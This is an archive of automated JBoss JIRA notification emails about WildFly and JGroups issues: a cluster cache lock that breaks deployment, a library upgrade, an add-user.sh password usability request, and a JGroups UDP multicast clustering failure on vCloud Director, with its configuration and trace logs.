> Starting a server with multiple web apps , causes  deploymeent failures
> -----------------------------------------------------------------------
>
>                 Key: WFLY-928
>                 URL: https://issues.jboss.org/browse/WFLY-928
>             Project: WildFly
>          Issue Type: Bug
>          Components: Clustering
>            Reporter: Shay Matasaro
>            Assignee: Paul Ferraro
>
> When the server starts with multiple web apps , and each one tries to create its cache , the first one locks all other because of a lock on cache manager see ISPN-2898
> this results in deployment failure , and the apps will not get redeployed

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Tue Sep  3 08:40:04 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Tue, 3 Sep 2013 08:40:04 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-928) Starting a server with
 multiple web apps , causes  deploymeent failures
In-Reply-To: <JIRA.12486589.1362603773000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12486589.1362603773000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12486589.1362603773000.5794.1378212004284@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-928?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12801116#comment-12801116 ] 

RH Bugzilla Integration commented on WFLY-928:
----------------------------------------------

Paul Ferraro <paul.ferraro at redhat.com> made a comment on [bug 918791|https://bugzilla.redhat.com/show_bug.cgi?id=918791]

https://github.com/jbossas/jboss-eap/pull/327
                
> Starting a server with multiple web apps , causes  deploymeent failures
> -----------------------------------------------------------------------
>
>                 Key: WFLY-928
>                 URL: https://issues.jboss.org/browse/WFLY-928
>             Project: WildFly
>          Issue Type: Bug
>          Components: Clustering
>            Reporter: Shay Matasaro
>            Assignee: Paul Ferraro
>
> When the server starts with multiple web apps , and each one tries to create its cache , the first one locks all other because of a lock on cache manager see ISPN-2898
> this results in deployment failure , and the apps will not get redeployed

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Tue Sep  3 08:44:03 2013
From: jira-events at lists.jboss.org (Chao Wang (JIRA))
Date: Tue, 3 Sep 2013 08:44:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-1987) Upgrade jboss-threads to
	2.1.1.Final
In-Reply-To: <JIRA.12499798.1378196409000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12499798.1378196409000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12499798.1378196409000.5816.1378212243466@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/WFLY-1987?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

Chao Wang resolved WFLY-1987.
-----------------------------

    Fix Version/s: 8.0.0.Beta1
       Resolution: Done


Merged https://github.com/wildfly/wildfly/pull/4992
                
> Upgrade jboss-threads to 2.1.1.Final
> ------------------------------------
>
>                 Key: WFLY-1987
>                 URL: https://issues.jboss.org/browse/WFLY-1987
>             Project: WildFly
>          Issue Type: Component  Upgrade
>    Affects Versions: 8.0.0.Alpha4
>            Reporter: Chao Wang
>            Assignee: Chao Wang
>             Fix For: 8.0.0.Beta1
>
>
> Upgrade jboss-threads to 2.1.1.Final which contains several bug fixes

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Tue Sep  3 08:48:04 2013
From: jira-events at lists.jboss.org (Emmanuel Bernard (JIRA))
Date: Tue, 3 Sep 2013 08:48:04 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-1991) Rnder new password input more
 user friendly
In-Reply-To: <JIRA.12499825.1378212466065@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12499825.1378212466065@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12499825.1378212466065.5846.1378212484763@jira02.app.mwc.hst.phx2.redhat.com>

Emmanuel Bernard created WFLY-1991:
--------------------------------------

             Summary: Rnder new password input more user friendly
                 Key: WFLY-1991
                 URL: https://issues.jboss.org/browse/WFLY-1991
             Project: WildFly
          Issue Type: Enhancement
          Components: Scripts
    Affects Versions: 8.0.0.Alpha4
            Reporter: Emmanuel Bernard
            Assignee: Brian Stansberry




--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Tue Sep  3 08:48:04 2013
From: jira-events at lists.jboss.org (Emmanuel Bernard (JIRA))
Date: Tue, 3 Sep 2013 08:48:04 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-1991) Render new password input
 more user friendly
In-Reply-To: <JIRA.12499825.1378212466000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12499825.1378212466000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12499825.1378212466000.5849.1378212484920@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/WFLY-1991?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

Emmanuel Bernard updated WFLY-1991:
-----------------------------------

    Summary: Render new password input more user friendly  (was: Rnder new password input more user friendly)

    
> Render new password input more user friendly
> --------------------------------------------
>
>                 Key: WFLY-1991
>                 URL: https://issues.jboss.org/browse/WFLY-1991
>             Project: WildFly
>          Issue Type: Enhancement
>          Components: Scripts
>    Affects Versions: 8.0.0.Alpha4
>            Reporter: Emmanuel Bernard
>            Assignee: Brian Stansberry
>


--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Tue Sep  3 08:52:03 2013
From: jira-events at lists.jboss.org (Emmanuel Bernard (JIRA))
Date: Tue, 3 Sep 2013 08:52:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-1991) Render new password input
 more user friendly
In-Reply-To: <JIRA.12499825.1378212466000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12499825.1378212466000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12499825.1378212466000.5852.1378212723441@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-1991?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12801123#comment-12801123 ] 

Emmanuel Bernard commented on WFLY-1991:
----------------------------------------

I am adding a new user to get access to the admin console using add-user.sh

The script failed on me 4 times because I subsequently tried to use the username, a simple word, a number + letter combo, etc
It would be nice to get the list of constraints a password has to follow to be valid upfront or at least the first time an error occurs.
                
> Render new password input more user friendly
> --------------------------------------------
>
>                 Key: WFLY-1991
>                 URL: https://issues.jboss.org/browse/WFLY-1991
>             Project: WildFly
>          Issue Type: Enhancement
>          Components: Scripts
>    Affects Versions: 8.0.0.Alpha4
>            Reporter: Emmanuel Bernard
>            Assignee: Brian Stansberry
>


--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Tue Sep  3 08:58:03 2013
From: jira-events at lists.jboss.org (Bela Ban (JIRA))
Date: Tue, 3 Sep 2013 08:58:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (JGRP-1686) JBOSS CLUSTER issues in
	vCloud Director
In-Reply-To: <JIRA.12499806.1378199325000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12499806.1378199325000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12499806.1378199325000.5867.1378213083650@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/JGRP-1686?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12801125#comment-12801125 ] 

Bela Ban commented on JGRP-1686:
--------------------------------

Just because org.jgroups is on the stack trace doesn't mean this is a JGroups bug... this looks like a JBoss (farming?) error.
                
> JBOSS CLUSTER issues in vCloud Director
> ---------------------------------------
>
>                 Key: JGRP-1686
>                 URL: https://issues.jboss.org/browse/JGRP-1686
>             Project: JGroups
>          Issue Type: Bug
>         Environment: VMWare vCloud Director
>            Reporter: sachin jopat
>            Assignee: Bela Ban
>              Labels: new_and_noteworthy
>
> Background:-
> We recently migrated from VM LabManager to VM vCloud director for virtualization and have been using JBOSS6.1.0 from sometime. So this may not be an issue in JBOSS, but looking for a workaround here.
> Problem Statement:-
> While starting Cluster server, it fails to communicate with other servers using UDP multicast for cluster communication, but when we change the transport mechanism from UDP to TCP  for cluster communication, the same settings work. Strange, but however we tested UDP multicast is not blocked on VCloud.
> Below is the change in the Jboss application run.bat file, which worked. But using tcp is not a preferred option especially when we plan to have 8-10 clusters:-
> Original 
> ?set COMMAND_ARGS=%COMMAND_ARGS% -u %REM_MCAST_ADDR%? 
> Changed
> ?set COMMAND_ARGS=%COMMAND_ARGS% -Djboss.default.jgroups.stack=tcp?
> Changes to run JBoss clusters are confined to the JGroups configuration and all configurations for UDP and TCP are in the below XML file:-
> JBOSS/server/CONFIG/deploy/cluster/jgroupschannelfactory.sar/META-INF/jgroups-channelfactorystacks.xml
> Sample configuration:-
> <protocol_stacks>
> <stack name="udp">
> <config>
> <UDP bind_port="${jboss.jgroups.udp.bind_port:55200}" />
> <PING timeout="2000" num_initial_members="3"/>
> <MERGE2 max_interval="100000" min_interval="20000"/>
> <FD_SOCK/>
> <FD timeout="6000" max_tries="5"/>
> <pbcast.NAKACK retransmit_timeout="300,600,1200" />
> <UNICAST timeout="300,600,1200,2400,3600"/>
> <pbcast.STABLE desired_avg_gossip="50000" max_bytes="400k"/>
> <pbcast.GMS join_timeout="3000" />
> <FRAG2 frag_size="60k"/>
> </config>
> </stack>
> <stack name="tcp">
> <config>
> <TCP start_port="${jboss.jgroups.tcp.tcp_port:7600}"/>
> <TCPPING timeout="3000"
> initial_hosts="Host-A[7600],Host-B[7600]?/>
> ...
> </config>
> </stack>
> </protocol_stacks>
> Please find below the logs.
> So it stops at the below step on the agent cluster node which we try to start soon after Farm agent server successfully started:-
> Cluster agent boot log:-
> 09:49:39,196 INFO  [HANamingService] Started HAJNDI bootstrap; jnpPort=1300, backlog=50, bindAddress=OM2/192.168.1.201
> 09:49:39,211 INFO  [DetachedHANamingService$AutomaticDiscovery] Listening on /192.168.1.201:1102, group=224.1.1.3, HA-JNDI address=192.168.1.201:1300
> 09:49:39,227 INFO  [TransactionManagerFactory] Using a batchMode transaction manager
> 09:49:39,242 INFO  [ComponentsJmxRegistration] Could not register object with name: org.infinispan:type=Cache,name="distributed-tree(repl_sync)",manager="ha-partition",component=Cache
> 09:49:39,242 INFO  [CacheJmxRegistration] MBeans were successfully registered to the platform mbean server.
> 09:49:39,258 INFO  [RpcManagerImpl] Trying to fetch state from OM1:1299
> 09:49:39,492 INFO  [RpcManagerImpl] Successfully retrieved and applied state from OM1:1299
> 09:49:39,492 INFO  [ComponentRegistry] Infinispan version: Infinispan 'Ursus' 4.2.0.FINAL
> 09:49:39,492 INFO  [DefaultCacheContainerFactory] Started "distributed-tree" cache from "ha-partition" container
> Farm agent server log:-
> 2013-08-30 09:48:16,374 INFO  [Http11Protocol] (Thread-2) Starting Coyote HTTP/1.1 on http-OM1%2F192.168.1.200-8280
> 2013-08-30 09:48:16,390 INFO  [AjpProtocol] (Thread-2) Starting Coyote AJP/1.3 on ajp-OM1%2F192.168.1.200-8209
> 2013-08-30 09:48:16,390 INFO  [AbstractServer] (Thread-2) JBossAS [6.1.0.Final "Neo"] Started in 1m:6s:488ms
> 2013-08-30 09:48:58,463 TRACE [UDP] (Timer-5,<ADDR>) sending msg to null, src=OM1:1299, headers are PING: [PING: type=GET_MBRS_REQ, cluster=om-agent-om-fence-HAPartition, arg=own_addr=OM1:1299, view id=null, is_server=false, is_coord=false, logical_name=OM1:1299, physical_addrs=192.168.1.200:55400], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:48:58,463 TRACE [UDP] (Timer-5,<ADDR>) looping back message [dst: <null>, src: OM1:1299 (2 headers), size=0 bytes, flags=OOB]
> 2013-08-30 09:48:58,463 TRACE [UDP] (OOB-11,null) received [dst: <null>, src: OM1:1299 (2 headers), size=0 bytes, flags=OOB], headers are PING: [PING: type=GET_MBRS_REQ, cluster=om-agent-om-fence-HAPartition, arg=own_addr=OM1:1299, view id=null, is_server=false, is_coord=false, logical_name=OM1:1299, physical_addrs=192.168.1.200:55400], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:48:58,463 TRACE [PING] (OOB-11,null) received GET_MBRS_REQ from OM1:1299, sending response [PING: type=GET_MBRS_RSP, arg=own_addr=OM1:1299, view id=[OM1:1299|0], is_server=true, is_coord=true, logical_name=OM1:1299]
> 2013-08-30 09:48:58,463 TRACE [UDP] (OOB-11,null) sending msg to OM1:1299, src=OM1:1299, headers are PING: [PING: type=GET_MBRS_RSP, arg=own_addr=OM1:1299, view id=[OM1:1299|0], is_server=true, is_coord=true, logical_name=OM1:1299], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:48:58,463 TRACE [UDP] (OOB-12,null) received [dst: <null>, src: OM1:1299 (2 headers), size=0 bytes, flags=OOB], headers are PING: [PING: type=GET_MBRS_REQ, cluster=om-agent-om-fence-HAPartition, arg=own_addr=OM1:1299, view id=null, is_server=false, is_coord=false, logical_name=OM1:1299, physical_addrs=192.168.1.200:55400], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:48:58,463 TRACE [UDP] (OOB-13,null) received [dst: OM1:1299, src: OM1:1299 (2 headers), size=0 bytes, flags=OOB], headers are PING: [PING: type=GET_MBRS_RSP, arg=own_addr=OM1:1299, view id=[OM1:1299|0], is_server=true, is_coord=true, logical_name=OM1:1299], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:48:58,463 TRACE [PING] (OOB-13,null) received GET_MBRS_RSP from OM1:1299: own_addr=OM1:1299, view id=[OM1:1299|0], is_server=true, is_coord=true, logical_name=OM1:1299
> 2013-08-30 09:48:59,477 TRACE [UDP] (Timer-2,<ADDR>) sending msg to null, src=OM1:1299, headers are PING: [PING: type=GET_MBRS_REQ, cluster=om-agent-om-fence-HAPartition, arg=own_addr=OM1:1299, view id=null, is_server=false, is_coord=false, logical_name=OM1:1299, physical_addrs=192.168.1.200:55400], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:48:59,477 TRACE [UDP] (Timer-2,<ADDR>) looping back message [dst: <null>, src: OM1:1299 (2 headers), size=0 bytes, flags=OOB]
> 2013-08-30 09:48:59,477 TRACE [UDP] (OOB-14,null) received [dst: <null>, src: OM1:1299 (2 headers), size=0 bytes, flags=OOB], headers are PING: [PING: type=GET_MBRS_REQ, cluster=om-agent-om-fence-HAPartition, arg=own_addr=OM1:1299, view id=null, is_server=false, is_coord=false, logical_name=OM1:1299, physical_addrs=192.168.1.200:55400], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:48:59,477 TRACE [PING] (OOB-14,null) received GET_MBRS_REQ from OM1:1299, sending response [PING: type=GET_MBRS_RSP, arg=own_addr=OM1:1299, view id=[OM1:1299|0], is_server=true, is_coord=true, logical_name=OM1:1299]
> 2013-08-30 09:48:59,477 TRACE [UDP] (OOB-14,null) sending msg to OM1:1299, src=OM1:1299, headers are PING: [PING: type=GET_MBRS_RSP, arg=own_addr=OM1:1299, view id=[OM1:1299|0], is_server=true, is_coord=true, logical_name=OM1:1299], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:48:59,477 TRACE [UDP] (OOB-15,null) received [dst: <null>, src: OM1:1299 (2 headers), size=0 bytes, flags=OOB], headers are PING: [PING: type=GET_MBRS_REQ, cluster=om-agent-om-fence-HAPartition, arg=own_addr=OM1:1299, view id=null, is_server=false, is_coord=false, logical_name=OM1:1299, physical_addrs=192.168.1.200:55400], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:48:59,477 TRACE [UDP] (OOB-16,null) received [dst: OM1:1299, src: OM1:1299 (2 headers), size=0 bytes, flags=OOB], headers are PING: [PING: type=GET_MBRS_RSP, arg=own_addr=OM1:1299, view id=[OM1:1299|0], is_server=true, is_coord=true, logical_name=OM1:1299], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:48:59,477 TRACE [PING] (OOB-16,null) received GET_MBRS_RSP from OM1:1299: own_addr=OM1:1299, view id=[OM1:1299|0], is_server=true, is_coord=true, logical_name=OM1:1299
> 2013-08-30 09:49:00,475 TRACE [PING] (Timer-4,<ADDR>) discovery took 2012 ms: responses: 1 total (1 servers (1 coord), 0 clients)
> 2013-08-30 09:49:00,475 TRACE [MERGE2] (Timer-4,<ADDR>) Discovery results:
> [OM1:1299]: [OM1:1299|0] [OM1:1299]
> 2013-08-30 09:49:00,834 TRACE [STABLE] (Timer-5,<ADDR>) OM1:1299: setting latest_local_digest from NAKACK: [OM1:1299#2]
> 2013-08-30 09:49:00,834 TRACE [STABLE] (Timer-5,<ADDR>) OM1:1299: sending stable msg [OM1:1299#2]
> 2013-08-30 09:49:00,834 TRACE [NAKACK] (Timer-2,<ADDR>) sending OM1:1299#3
> 2013-08-30 09:49:00,834 TRACE [UDP] (Timer-2,<ADDR>) sending msg to null, src=OM1:1299, headers are STABLE: [STABLE_GOSSIP]: digest is OM1:1299: [0 : 2 (2)], NAKACK: [MSG, seqno=3], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:00,834 TRACE [UDP] (Timer-2,<ADDR>) looping back message [dst: <null>, src: OM1:1299 (3 headers), size=0 bytes, flags=OOB]
> 2013-08-30 09:49:00,834 TRACE [UDP] (OOB-17,null) received [dst: <null>, src: OM1:1299 (3 headers), size=0 bytes, flags=OOB], headers are STABLE: [STABLE_GOSSIP]: digest is OM1:1299: [0 : 2 (2)], NAKACK: [MSG, seqno=3], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:00,834 TRACE [UDP] (OOB-18,null) received [dst: <null>, src: OM1:1299 (3 headers), size=0 bytes, flags=OOB], headers are STABLE: [STABLE_GOSSIP]: digest is OM1:1299: [0 : 2 (2)], NAKACK: [MSG, seqno=3], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:00,834 TRACE [NAKACK] (OOB-17,null) OM1:1299: received OM1:1299#3
> 2013-08-30 09:49:00,834 TRACE [STABLE] (OOB-17,null) OM1:1299: handling digest from OM1:1299 (0 votes):
> mine:   [OM1:1299#1]
> other:  [OM1:1299#2]
> result: [OM1:1299#1]
> 2013-08-30 09:49:00,834 TRACE [STABLE] (OOB-17,null) OM1:1299: sending stability msg (in 780 ms) [OM1:1299#1] (copy=1081264483)
> 2013-08-30 09:49:01,630 TRACE [STABLE] (Timer-4,<ADDR>) OM1:1299: sending stability msg [OM1:1299#1] (copy=1081264483)
> 2013-08-30 09:49:01,630 TRACE [NAKACK] (Timer-4,<ADDR>) sending OM1:1299#4
> 2013-08-30 09:49:01,630 TRACE [UDP] (Timer-4,<ADDR>) sending msg to null, src=OM1:1299, headers are STABLE: [STABILITY]: digest is OM1:1299: [0 : 1 (2)], NAKACK: [MSG, seqno=4], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:01,630 TRACE [UDP] (Timer-4,<ADDR>) looping back message [dst: <null>, src: OM1:1299 (3 headers), size=0 bytes, flags=OOB]
> 2013-08-30 09:49:01,630 TRACE [UDP] (OOB-19,null) received [dst: <null>, src: OM1:1299 (3 headers), size=0 bytes, flags=OOB], headers are STABLE: [STABILITY]: digest is OM1:1299: [0 : 1 (2)], NAKACK: [MSG, seqno=4], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:01,630 TRACE [UDP] (OOB-20,null) received [dst: <null>, src: OM1:1299 (3 headers), size=0 bytes, flags=OOB], headers are STABLE: [STABILITY]: digest is OM1:1299: [0 : 1 (2)], NAKACK: [MSG, seqno=4], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:01,630 TRACE [NAKACK] (OOB-19,null) OM1:1299: received OM1:1299#4
> 2013-08-30 09:49:01,630 TRACE [STABLE] (OOB-19,null) OM1:1299: received stability msg from OM1:1299: [OM1:1299#1]
> 2013-08-30 09:49:01,630 TRACE [STABLE] (OOB-19,null) OM1:1299: resetting digest from NAKACK: [OM1:1299#3]
> 2013-08-30 09:49:01,630 TRACE [NAKACK] (OOB-19,null) received stable digest OM1:1299: [0 : 1 (2)]
> 2013-08-30 09:49:01,630 TRACE [NAKACK] (OOB-19,null) deleting msgs <= 1 from OM1:1299
> 2013-08-30 09:49:25,638 TRACE [UDP] (OOB-19,null) received [dst: <null>, src: 0877da68-118d-d463-ca8c-57545e902c09 (2 headers), size=0 bytes, flags=OOB], headers are PING: [PING: type=GET_MBRS_REQ, cluster=om-agent-om-fence-HAPartition, arg=own_addr=0877da68-118d-d463-ca8c-57545e902c09, view id=null, is_server=false, is_coord=false, logical_name=OM2:1299, physical_addrs=192.168.1.201:55400], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:25,638 TRACE [PING] (OOB-19,null) received GET_MBRS_REQ from OM2:1299, sending response [PING: type=GET_MBRS_RSP, arg=own_addr=OM1:1299, view id=[OM1:1299|0], is_server=true, is_coord=true, logical_name=OM1:1299, physical_addrs=192.168.1.200:55400]
> 2013-08-30 09:49:25,638 TRACE [UDP] (OOB-19,null) sending msg to OM2:1299, src=OM1:1299, headers are PING: [PING: type=GET_MBRS_RSP, arg=own_addr=OM1:1299, view id=[OM1:1299|0], is_server=true, is_coord=true, logical_name=OM1:1299, physical_addrs=192.168.1.200:55400], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:25,716 TRACE [UDP] (OOB-19,null) received [dst: OM1:1299, src: OM2:1299 (3 headers), size=0 bytes, flags=OOB], headers are GMS: GmsHeader[JOIN_REQ]: mbr=OM2:1299, UNICAST: DATA, seqno=1, first, UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:25,716 TRACE [UNICAST] (OOB-19,null) OM1:1299 <-- DATA(OM2:1299: #1, first)
> 2013-08-30 09:49:25,732 TRACE [UNICAST] (OOB-19,null) OM1:1299: created receiver window for OM2:1299 at seqno=#1 for conn-id=0
> 2013-08-30 09:49:25,732 TRACE [UNICAST] (OOB-19,null) OM1:1299 --> ACK(OM2:1299: #1)
> 2013-08-30 09:49:25,732 TRACE [UDP] (OOB-19,null) sending msg to OM2:1299, src=OM1:1299, headers are UNICAST: ACK, seqno=1, UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:25,794 DEBUG [GMS] (ViewHandler,om-agent-om-fence-HAPartition,OM1:1299) new=[OM2:1299], suspected=[], leaving=[], new view: [OM1:1299|1] [OM1:1299, OM2:1299]
> 2013-08-30 09:49:25,794 TRACE [NAKACK] (ViewHandler,om-agent-om-fence-HAPartition,OM1:1299) sending OM1:1299#5
> 2013-08-30 09:49:25,794 TRACE [UDP] (ViewHandler,om-agent-om-fence-HAPartition,OM1:1299) sending msg to null, src=OM1:1299, headers are FLUSH: FLUSH[type=START_FLUSH,viewId=0,members=[OM1:1299]], NAKACK: [MSG, seqno=5], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:25,794 TRACE [UDP] (ViewHandler,om-agent-om-fence-HAPartition,OM1:1299) looping back message [dst: <null>, src: OM1:1299 (3 headers), size=0 bytes]
> 2013-08-30 09:49:25,794 TRACE [UDP] (Incoming-1,null) received [dst: <null>, src: OM1:1299 (3 headers), size=0 bytes], headers are FLUSH: FLUSH[type=START_FLUSH,viewId=0,members=[OM1:1299]], NAKACK: [MSG, seqno=5], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:25,810 TRACE [NAKACK] (Incoming-1,null) OM1:1299: received OM1:1299#5
> 2013-08-30 09:49:25,810 TRACE [UDP] (Incoming-2,null) received [dst: <null>, src: OM1:1299 (3 headers), size=0 bytes], headers are FLUSH: FLUSH[type=START_FLUSH,viewId=0,members=[OM1:1299]], NAKACK: [MSG, seqno=5], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:25,810 DEBUG [FLUSH] (ViewHandler,om-agent-om-fence-HAPartition,OM1:1299) OM1:1299: flush coordinator  is starting FLUSH with participants [OM1:1299]
> 2013-08-30 09:49:25,810 TRACE [UNICAST] (Incoming-1,null) OM1:1299: created connection to OM1:1299
> 2013-08-30 09:49:25,810 TRACE [UNICAST] (Incoming-1,null) OM1:1299 --> DATA(OM1:1299: #1, conn_id=0, first)
> 2013-08-30 09:49:25,810 TRACE [UDP] (Incoming-1,null) sending msg to OM1:1299, src=OM1:1299, headers are FLUSH: FLUSH[type=FLUSH_COMPLETED,viewId=0], UNICAST: DATA, seqno=1, first, UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:25,810 DEBUG [FLUSH] (Incoming-1,null) OM1:1299: received START_FLUSH, responded with FLUSH_COMPLETED to OM1:1299
> 2013-08-30 09:49:25,810 TRACE [UDP] (Incoming-3,null) received [dst: OM1:1299, src: OM1:1299 (3 headers), size=0 bytes], headers are FLUSH: FLUSH[type=FLUSH_COMPLETED,viewId=0], UNICAST: DATA, seqno=1, first, UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:25,810 TRACE [UNICAST] (Incoming-3,null) OM1:1299 <-- DATA(OM1:1299: #1, first)
> 2013-08-30 09:49:25,810 TRACE [UNICAST] (Incoming-3,null) OM1:1299: created receiver window for OM1:1299 at seqno=#1 for conn-id=0
> 2013-08-30 09:49:25,810 TRACE [UNICAST] (Incoming-3,null) OM1:1299 --> ACK(OM1:1299: #1)
> 2013-08-30 09:49:25,810 TRACE [UDP] (Incoming-3,null) sending msg to OM1:1299, src=OM1:1299, headers are UNICAST: ACK, seqno=1, UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:25,810 TRACE [UDP] (Incoming-4,null) received [dst: OM1:1299, src: OM1:1299 (2 headers), size=0 bytes], headers are UNICAST: ACK, seqno=1, UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:25,825 TRACE [UNICAST] (Incoming-4,null) OM1:1299 <-- ACK(OM1:1299: #1)
> 2013-08-30 09:49:25,810 DEBUG [FLUSH] (Incoming-3,null) OM1:1299: FLUSH_COMPLETED from OM1:1299, completed true, flushMembers [OM1:1299], flushCompleted [OM1:1299]
> 2013-08-30 09:49:25,825 TRACE [GMS] (ViewHandler,om-agent-om-fence-HAPartition,OM1:1299) OM1:1299: successful GMS flush by coordinator
> 2013-08-30 09:49:25,825 DEBUG [FLUSH] (Incoming-3,null) OM1:1299: all FLUSH_COMPLETED received
> 2013-08-30 09:49:25,825 DEBUG [STABLE] (ViewHandler,om-agent-om-fence-HAPartition,OM1:1299) suspending message garbage collection
> 2013-08-30 09:49:25,825 DEBUG [STABLE] (ViewHandler,om-agent-om-fence-HAPartition,OM1:1299) resume task started, max_suspend_time=33000
> 2013-08-30 09:49:25,825 TRACE [GMS] (ViewHandler,om-agent-om-fence-HAPartition,OM1:1299) OM1:1299: mcasting view {[OM1:1299|1] [OM1:1299, OM2:1299]} (2 mbrs)
> 2013-08-30 09:49:25,825 TRACE [NAKACK] (ViewHandler,om-agent-om-fence-HAPartition,OM1:1299) sending OM1:1299#6
> 2013-08-30 09:49:25,825 TRACE [UDP] (ViewHandler,om-agent-om-fence-HAPartition,OM1:1299) sending msg to null, src=OM1:1299, headers are GMS: GmsHeader[VIEW]: view=[OM1:1299|1] [OM1:1299, OM2:1299], NAKACK: [MSG, seqno=6], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:25,825 TRACE [UDP] (ViewHandler,om-agent-om-fence-HAPartition,OM1:1299) looping back message [dst: <null>, src: OM1:1299 (3 headers), size=0 bytes]
> 2013-08-30 09:49:25,825 TRACE [UDP] (Incoming-5,null) received [dst: <null>, src: OM1:1299 (3 headers), size=0 bytes], headers are GMS: GmsHeader[VIEW]: view=[OM1:1299|1] [OM1:1299, OM2:1299], NAKACK: [MSG, seqno=6], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:25,825 TRACE [NAKACK] (Incoming-5,null) OM1:1299: received OM1:1299#6
> 2013-08-30 09:49:25,825 TRACE [UDP] (Incoming-6,null) received [dst: <null>, src: OM1:1299 (3 headers), size=0 bytes], headers are GMS: GmsHeader[VIEW]: view=[OM1:1299|1] [OM1:1299, OM2:1299], NAKACK: [MSG, seqno=6], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:25,825 DEBUG [NAKACK] (Incoming-5,null) 
> [setDigest()]
> existing digest:  OM1:1299: [1 : 6 (6)]
> new digest:       OM2:1299: [0 : 0], OM1:1299: [1 : 5 (5)]
> resulting digest: OM2:1299: [0 : 0 (0)], OM1:1299: [1 : 6 (6)]
> 2013-08-30 09:49:25,825 DEBUG [GMS] (Incoming-5,null) OM1:1299: view is [OM1:1299|1] [OM1:1299, OM2:1299]
> 2013-08-30 09:49:25,825 TRACE [VIEW_SYNC] (Incoming-5,null) view send task started
